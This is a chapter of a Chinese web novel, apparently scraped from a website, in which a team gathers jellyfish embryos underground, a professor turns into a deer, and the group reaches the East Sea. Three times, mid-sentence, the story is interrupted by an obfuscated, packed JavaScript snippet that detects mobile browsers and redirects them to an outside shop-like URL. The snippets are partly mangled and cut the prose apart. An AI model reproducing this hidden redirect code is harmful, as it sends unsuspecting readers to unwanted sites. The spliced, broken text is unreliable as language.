陆守渊点头,“那是联邦科研所直接管制的特殊频段,除了科研所其他设备的频谱库都没有权限载入相关频段,包括我申请的这台机器,所以我们刚才的扫描是不会涉及射电天文频段的,这点我可以保证。” 云怀舟说:“是这样的,但现在情况和以前略有不同,简单来说就是射电天文频段有过量信息传递,可能会影响周围频段,虽然这只是我的个人推测,但刚才的声音恰好印证了这一点,为了规避风险短期内还是不要再使用了。” 陆守渊了解其中道理,如果他提前知道情况应该也会做出和云怀舟同样的推断,但是……他略带担忧地看向了林隐,射电天文频段有信息传递,林隐应该会第一时间知道才对。 林隐眸中的神色也深了几分,她的确是现在才知道这件事,但很快她调整好了情绪,现在不是纠结这个的时候。 “陆教授,我们先把你送出去,你留在外面休息,接下来的行动交给我们就好。” 陆守渊对这个决策不太满意,他刚要反驳,那条他们来时通过的洞穴有了动静。 最初是若隐若现的对话声,接着能听到他们的脚步声,另一道强光穿透树根的空隙,程橙的声音传来:“社长,是你们吗?” 林隐回复:“是我们,不用担心。” 在众人的注视下,一行三人穿过空隙完成了汇合。程橙看起来才从高度紧绷的状态放松些许,岳燃和陈玲没有什么变化,不过在零的目光放到陈玲身上时,陈玲很是别扭地回看了她一眼。 零默默收回了视线。 陆守渊给新来的几人同步情报:“信号是进来这里后中断的,我们花费了一些时间确定不是环境屏蔽,而是有未知的存在产生了干扰,并且有极大可能与污染有关,做好战斗的准备。” 他说完这番话接着就对林隐提议:“如果没有其他问题,我们出发吧,社长。” 林隐看着陆守渊期待的脸欲言又止,沉默了几秒,最终点头同意。 发出指令前,她询问了零等人的意见:“你们应该都没有与污染对抗的经验,如果想要出去,现在就可以表态。” 空气变得安静起来,过了十秒,依旧没有一个人出声,林隐说:“我明白了,我简单和你们解释一下污染,这是一种无法用常理解释的力量,大多附着在生物上,表现为超出寻常的能力,比如说近似无限的再生,令人发怵的外形,或者精神上的控制,并且我们遇到的污染几乎不会重样,所以说经验的作用被限制了。” “但绝大多数情况都是可以用枪弹解决的,解决不了优先撤离,记住我们是来寻找休眠胚珠的,这里的其他异常之后还会派人前来调查。” 林隐握住了刀柄,她最后说:“出发吧。” 这片空旷的地下区域大约有一百平米,树根围成了一个笼子的形状,但实际上这里并不是密封的,将手电的灯光亮度调到最大,就算是泛光也兼具了远光的效果,最前方依旧向前蔓延着,黑暗的深处还有黑暗,总有光照不到的地方。 走在最前方的变成了程橙,陆守渊在林隐身侧负责打灯,林隐将一部分注意力放在了他的身上,岳燃的注意力在陈玲身上。 而零也被云怀舟关注着。 那是一种静默的,毫无冒犯的善意。 零有好多不明白的事,她想等完成了这个游戏任务,就向云怀舟问个清楚。现在,就跟着其他人走进那个寒冷深邃的黑暗吧。 “哒哒哒”的脚步声构成了地下所有的声音来源。 又走了一段,呦呦的鸣叫声凭空出现。 所有人都防备起来,一鼓作气,继续向前,在经过一个拐角后,零看到了声音的发出者,那是……鹿。 在一条寂静流淌的地下河旁,一群鹿守候着。 准确的说这和零认知里的鹿并不完全重合,它们体态纤细柔美,腿比寻常鹿更长,浑身长着雪白的长毛,在灯光的照射下仿佛闪着光,判断它们是鹿完全是因为它们头上标志性的鹿角。 不过就连鹿角也不同寻常,比起鹿角,那更像是洁白的向上扎根的树根。 “美……太美了……” 陆守渊不自觉地发出这样的感叹,他将后半生都奉献给了墙外的生物,让他放弃城内安稳生活的,就是这些充满无限可能的生命。 而他的生命也许就是为了物种与异常调查社存在的。 陆守渊喃喃自语:“我要给它们取一个名字……什么样的名字才配得上这样的生命呢?要好好考虑一下……” 林隐和程橙对陆守渊的状态比较熟悉,零和其他人都是第一次见识这样的陆守渊,她问:“陆教授还会给这些动物取名字吗?” 云怀舟回答了她:“是的,这些首次发现的生物通常由第一发现者或者相关调查员赋予名字,烟花雨林,之前我们见到的林鬼,包括你喜欢的淤泥跳跳这些都是由陆教授亲自命名的。” 零有点喜欢陆教授的命名风格,她开始期待陆教授会给这种鹿取什么名字。 在众人的关注点都被陆守渊带偏的时候,林隐已经把周围环境都打量了一遍,这群鹿大约有十几只,姿态很放松,目前没有展露敌意,而它们都几乎围在一起,看上去像是守护着这地下河中的什么。 林隐对程橙说:“掩护我,我靠近调查。” 两个人走近了地下河,令所有人感到意外的是,就算林隐和程橙已经距离鹿群不到两米的距离了,鹿群依旧温驯,没有任何攻击她们的意图。 程橙举着枪,时刻戒备着鹿群,林隐放心地将注意力集中在地下河,她有意识地寻找鹿群守护的东西,很快,她看到了一团蓝紫的亮光,如果没有使用手电,他们可能一进来就发现了这些目标——流光水母的休眠胚珠。 林隐再次向前靠近,她现在的位置伸手就可以碰到鹿,鹿群仿佛没有看见林隐,只是平和地休息着。 最后林隐下定决心,她朝程橙打了个手势,所有人都屏住了呼吸看着她脱了鞋走进河里。 地下河比预想的还要冰凉,踏进去的那一刻林隐的眉头不自觉地皱了起来,不过她没有停下,径直就朝河中心走去。浅绿的河水流动得极其缓慢,水下是一层颜色各异的卵石,休眠胚珠沉睡在其中。 林隐伸手去取休眠胚珠前先回望了鹿群一眼,如她所料,鹿群不为所动,她将休眠胚珠连带着卵石一起拾起,没有着急离开,她先是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127668|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观察了一会,确认没有问题才回到了岸上。 陆守渊等在岸边,他将这块卵石接过,只是一眼就可以断定:“这就是浮浪幼虫的休眠胚珠,只要让它们成长为流光水母,任务应该就算完成了。” 零也走向陆守渊,她想看看所谓的休眠胚珠到底长什么样子,没想到她刚往前走了几步,原本毫无动静的鹿群此时行动了,惹得众人都紧张了起来,结果它们只是围着零,然后又停下了。 一不小心又成了人群中的焦点,当事人零感到手足无措,于是选择了发呆。 看着零这边暂时没有什么安全隐患,众人继续讨论如何完成游戏任务。 最关心这个的是岳燃,他问:“怎样才能让它成长呢?温度足够就可以吗?” 陆守渊摸了摸下巴,“理论上是这样的。” “那就让我来吧,我是举火者。”岳燃说完这句话就抬起了右手,下一刻,火焰从他的掌心凭空出现,陆守渊感叹着这近乎神迹的异能,将休眠胚珠靠近了火焰。 “如果不是在调查社工作,我都要怀疑自己是不是在做梦了。” 林隐漫不经心地说:“连‘神’都存在的世界,还有什么是不可能的呢。” 陆守渊能听懂她话中带刺,但他对神明保持敬而远之的态度,所以只是笑了笑说:“是啊,毕竟这是献给神明的游戏,没有一抹奇幻色彩反而缺了点什么。” 零听着他们的谈话,手里已经摸起了这洁白美丽的鹿,最初她还有点担心,但渐渐地她感觉到这些动物没有恶意,甚至还有点想要亲近她的意味?这是她的错觉吗? 云怀舟也伸手抚摸着鹿的颈背,他的声音很温柔:“它们很喜欢你。” 零不太能理解,“这是为什么呢?” 云怀舟说:“也许它们感到了相同的气息吧。” 零表面上纹丝不动,心里却暗暗发怵,云怀舟到底知道些什么?难道他已经知道她也是非人的存在了?她是什么时候暴露的呢? 想不透彻,她干脆直接问了出来:“什么气息?” 云怀舟略作思考,他说:“大概是一种不谙世事的,纯洁无瑕的气息吧。” 听到这里零感觉自己放松了不少,她甚至觉得自己因为紧张竖起来的寒毛都软趴下去了。 “举火者,遗言一:由我带来热。” 就像零当初的“遗言”一样,这一次,举火者的遗言出现在了全世界人类的耳边,一回生二回熟,这次大家的惊讶已经减少了,更多的是好奇,网站和论坛上关于“神秘遗言”的帖子井喷式地爆发。 零却感到了一种安心,毕竟她不是那个唯一独特的人了。 陈玲惊讶地指着休眠胚珠:“它们好像变大了!” 零顺着她手指的方向望过去,她看见原本指甲盖大小的一团蓝紫色以肉眼可见的速度膨胀。 起初只有一颗芝麻大小的胚珠,变成了石榴籽大小,然后是龙眼大小,此时那块卵石已经容纳不下它们了,但新萌生的流光水母没有掉落,而是在空中漂浮了起来,短短几秒,便长成成体大小。 一只、两只、三只……十只,陆教授真是厉害啊,竟然猜得完全正确。 这也是零等人第一次见识烟花雨林式萌生的速度,很难以置信,不到一分钟的时间里,流光水母就完成了生长。它们在空中漂浮着,幽蓝与浅紫交织,流光溢彩,神秘而美丽。 岳燃看向这些水母,他眼里没有对美丽事物的欣赏,只有对游戏结果的探知欲,他问:“这样算是完成任务了吗?我们可以结束游戏了吗?” 没有人可以回答他。 也没有漠然的声音来宣布游戏结束。 9. 带来光与热 6 林隐理性地分析:“刚才游戏还宣告了遗言,所以现在没有表态应该不是单纯的信息延迟,我们可能还没有完成任务。” 岳燃一向沉稳的脸上第一次出现了名为失落的情绪,“到底还要我们做什么。”他已经累了。 陆守渊叹了口气:“可能是我的推测错误了,这片烟花雨林里还有别的流光水母休眠胚珠,也许我们要全部找到并让其萌生,这样才算完成任务。” 零从进来后,对未知存在的感知非但没有减轻,反而变得更强烈了,她想也许就是现在,她应该说出来:“我觉得这条河的上游应该有什么东西。” 原本沉重的氛围被这句话破出一个缺口。 林隐说:“那我们就去上游看看,既然要继续寻找休眠胚珠,这里也应该进行全面搜查。” 虽然会无可避免地觉得这是个无法完成的任务,但大家还是跟着林隐出发了,不过在零迈开腿往前走的时候,鹿群拦住了她。 “什么意思,是不想让我过去吗?”零停了下来。 陈玲小声地询问:“是因为有什么危险吗?” 林隐说:“在烟花雨林里,危险才是常态,你们也早就见识过了,那么零,你还要跟我们一起走吗?” 零知道一切的答案就在那里了,地下河的上游到底有什么,她想要知道,她看向林隐:“我没事的,我们走吧。” 零严肃地对鹿群说:“不要拦我。” 鹿群仿佛能听懂她说的话,在察觉到零态度坚决后,它们稍微散开了,零跟上了大家,而鹿群也跟上了零,于是这个大型队伍浩浩荡荡地前进。 在向前走了几十米后,手电还未能照亮的前方,蓝色的河闪着幽光,像深埋地下的宝石。 那是……不计其数的休眠胚珠。 可能有上千颗吧,不,上万颗,但都无所谓了,因为这个数量一看就令人心生绝望,岳燃额头滑下了冷汗,他攥紧了拳头然后心死般松开。 “抱歉,这次我做不到了。” 林隐问:“为什么你这么肯定呢?我觉得你的能力很强大。” 陈玲鼓起勇气维护她的老师:“岳老师这么说肯定有他的理由,请大家不要为难老师!” 岳燃笑了笑,他轻轻拍了拍陈玲的肩膀,把自己的情报告诉了众人:“我不知道零同学使用能力是怎样的情况,我个人每次使用能力都会消耗‘意志’,最初我的意志是六,我一共使用了四次,其中驱赶林鬼那次额外消耗了一点,所以现在只有一点意志了,而这里的胚珠这么多,我的能力的确有限,非常抱歉,各位。” 零附和说:“我也是这样的,不过我最开始只有一点意志,使用的时候我感觉到了死亡的气息,我觉得当意志全部没有的时候,我们就会死。” 她的话让众人都陷入了沉思,尤其是岳燃,他感到死亡的铡刀已经悬在头顶了。 程橙不是玩家,她对于“执着地完成游戏任务”这件事没有什么感触,她提议说:“这个任务非完成不可吗?能不能无视它,我们送你们离开这里,然后照常生活就是。” 提到离开,陈玲立刻面露惊恐,她完全应激:“不能,不能离开!” 岳燃先是安抚了陈玲情绪,然后讲出了昨天下午发生的事:“最初我们也是想直接离开这里,找回家的方向,但是当我们走出一段距离后,走在我们最前面的同伴突然死在了我们面前……” 他叹了一口气,“那是毫无征兆,也毫无反抗的死亡,于是我们原路返回,想试着从零同学身上了解更多情况。” 零无辜地眨了眨眼睛,她也是什么都不知道啊,而且她觉得自己更可怜,她只是一块自由自在无忧无虑的小青苔,为什么要被迫玩人类的游戏。 云怀舟将话题带回了任务本身:“这样看来,我们需要在一定范围内完成游戏任务,带着休眠胚珠回城里再想办法应该不可行,不过可以确定的是,这里温度太低了,我们不能让休眠胚珠留在这里。” 陆守渊说:“我有一个想法,既然流光水母从海里来,也许带它们回到海里有利于它们再生,刚好十三号烟花雨林从东边出去就是东海,应该没有超出距离。” 林隐问程橙:“有携带足够的收容袋吗?” 程橙从背包里取出了黑色的收容袋,不同尺寸的都有很多,零看见最大尺寸的应该可以装下一个人…… 林隐:“我们现在人够多,把这些休眠胚珠全部带走不成问题。” 零从程橙那里领到了一个收容袋,她和大家一起在河边装着休眠胚珠,至于河中的,云怀舟主动申请下水了,零想云怀舟真是一个好心的人,也是,毕竟他在初次见面就帮助了打晕他的人,而且还帮助了不久前差点打起来的人。 零走神的时候多看了这些胚珠一眼,透明的球膜里一颗颗蓝色或紫色的胚珠,像密密麻麻的眼睛注视着她,零皱了皱眉,加快了收纳的速度。 装完全部的胚珠大概要用六个袋子,在最后的阶段,云怀舟发现了一个奇怪的东西,这是一个金色的华丽杯子,虽然在河水里,但里面却没有盛水。 云怀舟直起身,将埋在胚珠下方的空杯子举起给众人看。 “我在河里发现了这个,虽然在水里,里面却是空的。” 所有人都把目光转向了云怀舟手中的空杯。 云怀舟看见杯盏内壁刻画着抽象难懂的符号,然而他却能轻松看懂,他念了出来:“空杯盏。”下一刻,他手中的空杯化为乌有,熟悉的声音随之传来。 “铭记者,遗言一:我看见,我铭记。” 铭记者……这是云怀舟的代号吗?好像和遗忘者恰好相反,零对云怀舟的好奇心更重了。 零问:“你知道了什么吗?” 空杯消失的那一刹那,有很多信息灌进了云怀舟的脑子,当他整理好思绪,张口想要将情报分享出来时,他的喉咙开始发痒发涩,最后忍不住咳嗽了起来,他侧过身用手捂住了嘴,总算从这种症状缓解后,他看向自己手心,那是一把带血的苔藓。 他理解了这一切,但是他无法说出来。 “抱歉,我的特质是缄默。” 零知道玩家的信息里有特质这一条,比如她的特质是遗忘,但现在是她第一次知道其他人的特质,这也是所有玩家第一次提及这个话题。 目前看来,这个特质虽然是更接近中性的表达,但似乎都是负面的效果。 林隐问:“关于这个道具,你什么都透露不了吗?你觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127669|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得它对我们完成游戏任务有影响吗?” 云怀舟尝试说出一个词语,但是喉咙立刻涌起的异样让他放弃了,最后他说:“目前我没有察觉到与任务的关联。” 林隐点头,“既然如此,就先不管,我们最紧要的还是完成游戏任务,其他的之后再说。” 关于林隐的这个决断,大家都表示认同,于是云怀舟装好了最后一袋休眠胚珠,从地下河回到岸上。 林隐和程橙是主要战力,她们负责保护大家,剩下的人除了陆守渊人手一到两袋休眠胚珠。 分工的时候陆守渊还很不服气,他说自己虽然年纪大了点,但因为经常出外勤,体力也还不错,不过最后在众人的安抚下,他还是专心地为大家打手电照明。 仔细地把地下区域都搜查了一遍,确认已经把所有的休眠胚珠装好后,大家就要原路返回了。 这一路比想象得要安稳多了,零还记得当初进来前她的预感,果然就不应该相信自己的直觉,是啊,作为一块青苔,为什么要觉得人类的直觉可靠呢? 在快要从树根纵横的地方离开时,零回望了跟在自己身后的鹿群,它们一直跟着自己,偶尔还会发出清脆悦耳的鸣叫,她有点把它们也当成同伴了。 “再见,我们要离开了。”零朝它们挥了挥手。 一直温驯的鹿却像受到伤害一样突然厉声鸣叫起来,并且它们冲到了众人身前拦住了前路。 “它们似乎不愿意让我们离开,”林隐试图让零去沟通,“零,你试试说服一下它们,它们比较听你的话。” 零接受了这个任务,她靠近鹿群,把它们当做有意识的生物进行对话:“我们要离开了,不要拦在这里,这件事对我们很重要。” 然而这次鹿不再听零的话了,无论零怎样沟通,它们寸步不让。 林隐果断对程橙下令:“示警。” “砰!”程橙对着安全的地方鸣了一枪,鹿群没有慌乱,反而是他们陷入了黑暗两秒,手电的光在空中甩了两圈,随着“咚”的一声闷响,光又缓缓地转了回来。 零回头朝着陆守渊的方向看去,原本由他好好举着的手电已经被他扔到了身后远处,幸运的是手电朝向出口,光从大家背后照来,她看见逆着光的陆守渊正抱着头,似乎很痛苦的样子。 “快出去……不要出去……出去……”他仿佛陷入噩梦般地呓语着。 到底出不出去?他究竟想说什么? 就在零把注意力全放在陆守渊身上时,他们身前的鹿群也发生了变化,悄无声息地,鹿头顶的角生长蔓延,就像一棵树抽枝发芽。 这些鹿角正在像这些树根一样编织覆盖,试图将联通内外的道路堵死。 一切都发生得很快,距离开枪示警才过去几秒,林隐抽刀冲刺,将为首的鹿头顶的鹿角斩断了,没有血喷出,但它发出了凄厉的哀鸣,不过下一秒,鹿角又从断面继续萌生。 依旧没有一只鹿移开位置,这样下去,他们会被困死在这里。 林隐说:“射杀。” 程橙早就做好了开枪的准备,林隐一下令,她就开出第一枪,子弹射穿了鹿的心脏,第一只鹿倒下了,然后是第二只鹿。 “不要杀它们……” 10. 带来光与热 7 陆守渊冲到了鹿群的前方,他展开双臂掩护着鹿。 程橙立刻停止了射击,林隐的脸色变得铁青,但声音却意外得温和克制:“陆教授,你现在状态不太好,过来我们这边。” 陆守渊不所为动,他固执地要求林隐不要再伤害鹿,哪怕他头疼得已经抬不起来。 此时零已经知道,陆教授被污染了。 在他们刚进来的时候,陆教授距离全频率侦查接收机最近,从那一声“妈妈”开始,陆教授就表现出了异常,只是最开始他恢复了平常的样子,于是她侥幸地以为那只是暂时的,他已经好了。 鹿的角还在蔓延,一寸一寸地,逐渐攀升,交织。 林隐说:“好,我们不伤害鹿,陆教授,你好像受伤了,我过来给你看看。” 林隐稳住了陆守渊,她试图靠近然后将他打晕,但是就在距离不远的时候,陆守渊突然抬起了头,他的眼睛完全是一片白色,虹膜和瞳孔看起来消失了,只剩下眼白。 陆守渊歉疚地笑了笑,他揉了揉额角,说:“我刚才是不是不太正常?我可能是被污染了,别管我了,你们快出去吧。” 林隐带着陆守渊回到自己这边,她安慰说:“没事的,等我们出去一切都会好起来。” 程橙继续开枪射击,三只五只,十几只鹿只剩下了最后两只,林隐握紧了刀,准备在所有鹿死后立刻斩断已经初步成型的鹿角围笼。 令所有人都没想到的是,原本已经冷静下来的陆守渊,突然撞上了程橙的枪口,来不及了,程橙的手指已经扣下了扳机,“砰!”子弹穿透了他的身体,他脱力跪下。 “陆教授!”几乎所有人都过来查看陆守渊的情况。 程橙的大脑一片空白,哪怕是面对最凶险的对手她都没有这么慌乱过,林隐沉静的声音拉回了她的理智:“继续。” 枪声,然后是刀鸣声。 在这样的背景声中,陆守渊的身体开始异变。 零看见陆教授的双腿和撑在地上的双手变成鹿腿,他作为鹿四脚站立起来,接着身体变成了鹿身,并长出了洁白的毛发,最后是头,他的头变成鹿首,长出鹿角,紧闭的双眼睁开,不再是恐怖的眼白,而是漆黑湿漉的鹿眼。 围在他身边的人都下意识地后退,零愣住了,云怀舟无言地取过陆守渊的背包。 陆守渊变成鹿的冲击力太大,见到这一幕的人都还没有缓过来,林隐才将前路开辟出来,下一刻,更粗更密的鹿角重新挡住了出口,几秒钟不到,陆守渊的鹿角将洞口完全覆盖,严严实实得没有一丝光可以透过。 林隐回望发生了什么时,她看到的只有一只鹿。 陆教授已经不在了,看着这最后一只鹿,她闭上了双眼,三秒后,她挥刀要斩断阻碍前行的一切。 但陆守渊生成的鹿角比前面所有鹿的都硬,林隐的刀也无法破开,那就像真正的树干,不是血肉,是自然的伟力。 陈玲的声音带着几分抑制后仍残留的颤抖:“陆教授怎么了,他为什么会变成鹿?又为什么要拦住我们?我们还能出去吗?” “回答”她的是洞穴另一侧的声音:“社长!你们在里面吗?” 是彭雨他们来了,林隐回答:“我们就在这里,有没有带爆破工具?这里被挡住了,我们暂时出不来。” 彭雨说:“我和程橙都带了,打通这里并不难。” 林隐很快便做出安排:“里面宽阔外面狭窄,里侧爆破容易堵住通道,所以就由你来布置吧,我们会到稍远的地方进行躲避,你准备好了通知我,等我指令。” 彭雨:“收到!” 林隐推进行动总是这么迅速,在大家还沉浸在失去同伴的悲伤时,她已经安排好了接下来要走的路。 岳燃的表情有些复杂:“林社长,这些话可能不该我说,但直接爆破的话,陆教授……” 陆守渊化作的鹿还活着,它只是用鹿角挡住了出口,它的眼睛还看向林隐这边,没有强烈的情绪传达,没有鸣叫,它是那么沉静,沉静到让人哀伤。 林隐没有对此回应,她环视一圈,说:“你们现在都去手电那边,程橙教大家防护姿势。” 最初没有人行动,在程橙先离开后,岳燃带着陈玲也走远了,零抬头看向云怀舟,他背着光,零看不清他的表情,她问:“你在难过吗?” 云怀舟的声音很轻,“嗯。” 零说:“到那边去难过吧,这里就快要爆炸了。” 云怀舟沉默了,零再次邀请:“我们走吧。” 这次云怀舟同零一起离开了,路上他问:“那么你呢,你会难过吗?” 零认真地体会了一下自己的情绪,然后诚恳地回答:“会难过,虽然不如你,但我也不开心。” 零还挺喜欢那个懂得多又很亲和的老爷爷,而且她还期待着陆教授给这种好看的鹿取名,不过他现在自己变成了鹿…… 想到这里,零感觉自己脑袋里灵光一闪,她好像突然顿悟了如何安慰人,她对云怀舟说:“陆教授变成了自己喜欢的存在,他应该会感到开心吧?而且在这片烟花雨林里,他的生命也许只是被封存了,以后会再次苏醒。” 云怀舟问:“你在安慰我吗?” 零点点头,“是的。” 云怀舟想笑,但他笑不出来,“谢谢你,零。” 零心里有点得意,她好像越来越习惯作为一个人存在了,毕竟她连安慰别人这种高难度的事都能做到。人不过如此罢了:在看见希望的时候高兴,在同伴离开的时候伤心。 等零和云怀舟也到了,程橙开始给大家讲等会爆破的注意事项,诸如背过身蹲下,用手护住头颈,保持嘴巴张开,爆破后不要立刻行动等。 林隐一直在陆守渊化作的鹿身边,她什么也没做,只是看着鹿的眼睛,等待着彭雨通知她。 “社长,我准备好了!” 林隐说:“十五秒之后爆破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127670|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”她最后看了鹿一眼,转身来到零这边。 很快,爆炸声与回响伴随着剧烈的震动席卷而来,碎石土和鹿的细碎残骸如雨点般砸在背上,整个地下世界被翻滚的浓密粉尘吞没。 时间仿佛被拉长了,众人按照程橙所说的保持着蜷缩的姿势,忍耐着耳鸣与咳嗽,直到最剧烈的落石声平息,林隐才猛地起身低喝:“尽快离开!” 程橙打着手电为大家带路,零跟着离开,急促中她的视线扫过这里的一切,凌乱不堪,粉尘弥漫,她已经分不清哪具鹿尸是陆教授的了。 所有人都离开了这里,除了陆守渊。出去后,彭雨没有在人群中看到陆教授,他心里已经有了答案,但什么都没说,反而是作为“外人”的郑一念注意到了并提了出来:“少了一个人,陆教授还在里面,我们快回去找他吧。” 林隐拦住了他,“陆教授牺牲了。” 郑一念的表情从不可置信到落寞,什么啊,这么专业的队伍参与游戏也会死人,这果然是一个绝望的游戏,哪怕现在他还好好地站着,呼吸,也许不久后就要死了。 林隐看见了他的表情变化,但没有理会,她转身问携带着胚珠的几人:“休眠胚珠都带出来了吗?” 零看了看自己的收容袋,确认没有破损,她说:“带出来了。”其余几人也都是肯定的答复。 林隐点头,她向彭雨队三人简单介绍目前的状况:“我们在地下初步尝试,确认可以将休眠胚珠催生为流光水母,但如你们所见,胚珠的数量远超预期,甚至其他地方也许还有,而目前我们没有生火催生这么多胚珠的条件,陆教授认为将休眠胚珠带回东海可以达成目的,接下来我们要尝试一下。” 最后她征求所有人的意见:“你们还有没有精力继续,如果可以坚持,彭雨带路。” 所有人都感到疲惫,不论是躯体上,还是精神上,但,也正是因为这种疲惫,让人萌生了想要尽快结束这一切的想法。 于是王建提议:“继续吧,咱们再坚持坚持,等任务完成了再休息,我实在是一分钟都不想在这里多待了。” 王建所说的也是大家所想的,陈玲和岳燃附和了,零和云怀舟也表示了认同,最后是郑一念,他失魂落魄,呆呆地“嗯”了一声,程橙和彭雨则完全听从林隐的指挥。 确定继续前行后,王建和郑一念分别接过了一袋休眠胚珠,一行九人踏上了东行的道路。 这片低温林区本身就在十三号烟花雨林的东北部,而出了烟花雨林向东看就能看到东海,所以他们的位置距离目的地并不太远,不到两公里的路途,他们走了近一个小时,三点多出发,四点半到达。 从潮湿的绿色国度迈出最后一步,风吹来海的气息。 那是一片望不到尽头的蓝,就像一片望不到尽头的天。但这并不可怕,他们的目标不是海的对岸,只是此岸,他们只需要把休眠胚珠倒进海里。 一步一步靠近,东海沉默不语。 11. 带来光与热 8 这是零第一次看见大海,除了完全符合刻板印象的蓝色,其他的似乎和她“印象”里的不同,没有波涛汹涌,没有海浪起伏,这片海太幽静了,就像死掉了一样。 除了调查社的几人,其他玩家也都是第一次见到海。 这个时候,见到海洋的新奇和到达目的地的宽慰一同涌上心头,疲惫被驱散不少,心情似乎也变得明媚了几分。 陈玲笑了,弯弯的眼亮晶晶的,“岳老师,这就是课本里说的大海,好辽阔啊。” 岳燃感慨:“人世流转,沧海不易。” 林隐的话为这份轻松惬意的氛围增加了危机感:“东海没那么美好,把胚珠倒进海里后,我们要尽快离开。” 此时他们距离东海还有三四百米,海岸的礁石群已经能清晰看见,像城墙一样,蔓延数公里的礁石群把陆地和海洋隔开。 零问:“前面的是什么?我们能过去吗?” 云怀舟回答她:“那是一片礁石群,礁石的洼陷处,是潮池,因为潮汐微弱,这些潮池几乎是永久性的,自成体系,我们要接近东海,必须越过潮池群。” 林隐说:“他说得对,这里的潮池群宽约十米,里面生长着各类生物,不要招惹它们,等会我们要踩着礁石过去,彭雨打头阵,在前方放生胚珠,其他人跟上,把收容袋递给彭雨,程橙和我戒备。” 从听从到习惯,零发现,现在的她甚至有点喜欢上这种被安排得明明白白的感觉了…… 很安心,不用思考,只要照着林隐的指挥去做就好了。 在这种地方这种情况,安心真是一种稀有的情绪。 零已经来到礁石边,这些礁石形态大小不同,最多的是膝盖到腰部高低,潮池的样子也映入眼帘,海水覆盖了一半礁石,里面是一些与想象的出入不大的生物,色彩斑斓的藻类,珊瑚和海生动物。 不过仔细看就会发现不同,比如……为什么螃蟹会有六只眼睛?这六只眼睛还不是挤在一块,而是均匀地分布在背上,怎么会有螃蟹长这样? 但是一想到连林鬼和能吃人的蜘蛛都存在,六只眼的螃蟹也太平平无奇了。 云怀舟似乎能猜到零在想什么,他主动介绍:“这是六眼石蟹,它长着六只复眼,能够看到所有方向。” 想要看到更多吗? 林隐说:“走吧,小心脚下。” 彭雨规划了一条最安全的路线,他率先动身,后面大家依次跟上,零踩上了礁石,上面生长着苔藓,所以比想象中要滑很多。 “啊——” 一声哀嚎惊到了零,零循着声音看去,是郑一念,他脚滑踩到了潮池中,一只黑色海葵正伸出触手缠住了他的腿……不对,这算是触手吗?看起来并不柔软,反而尖锐坚硬,就像是…… 林隐见状立刻赶到郑一念身边,她拔刀劈砍—— 郑一念的右腿被斩断了。 接着就是比之前的哀嚎还要凄厉数倍的惨叫声。 林隐提高音量:“程橙!给他止血包扎!” 程橙立刻带着郑一念离开礁石回到陆地,她从背包取出应急救援包给郑一念进行处理。目睹这一切后,零感到脊背发凉,这完全是身体本能的反应。 这是她第二次看到人的鲜血喷溅。 陈玲捂着嘴,“为什么要砍断他的腿?这太残忍了……” 云怀舟拾起了原本由郑一念携带的收容袋,陆守渊不在了,他接过了为大家解惑的担子:“中了荆棘海葵的剧毒,他的腿已经废了,为了防止毒素扩散,这是最好的应对方法。” 零看向那只海葵,它已经抱着郑一念的小腿缩回了海水中,血把那片潮池都染红了。是啊,她想到了,那触手就像荆棘一样。 “集中不了注意力就回去,不要拖其他人后腿。”林隐的声音带着明显的怒意,她生气了。 林隐已经提醒过几次了,这里并不安全,但是郑一念总是看起来心不在焉的,哪怕在这个时候也是,失误的代价就是失去一只腿,能活下去就是幸运。 气氛又凝重起来,每个人都打起了十二分的精神。 彭雨已经到达了礁石的最前方,他的身前就是东海,平静无波,充满未知。 他接过一个收容袋,将里面的休眠胚珠都倒进了海里,所有人都目不转睛地观望着,期待着。 并不是所有的休眠胚珠都能一瞬间疯长,变成流光溢彩的水母,但的确有两三只正以肉眼可见的速度生长,在观众们的注目中,它们走完了生长之旅,伞体一缩一放间,轻盈地飘到了空中。 陆教授的方法是有效的。 彭雨接着将所有的休眠胚珠都倒进了东海,于是短时间内,蓝色与紫色占据了这一片海域。 准确地说,这其中,还有一点红色。 一毫米还是太小了,彭雨将休眠胚珠倒进海里的时候没有发现,众人在收纳休眠胚珠的时候也没有发现,有一颗带着红色斑点的胚珠混在其中,现在到了海里,汲取着海水里的温度与养分。 它正在肆意生长。 零还在仰望着空中的水母群,散发出幽蓝色与浅紫色光芒的水母,会漂浮在空中的水母,真是像梦一样奇幻绮丽。 突然,她感到心脏猛地收缩,那感觉就像被一只手狠狠地抓紧了。 自从进入低温林区地下,不适感一直挥之不去,但到后面她已经习惯了,并且暂时忘记了这种症状,她以为游戏任务完成就好了,但是,好像不是这样的。 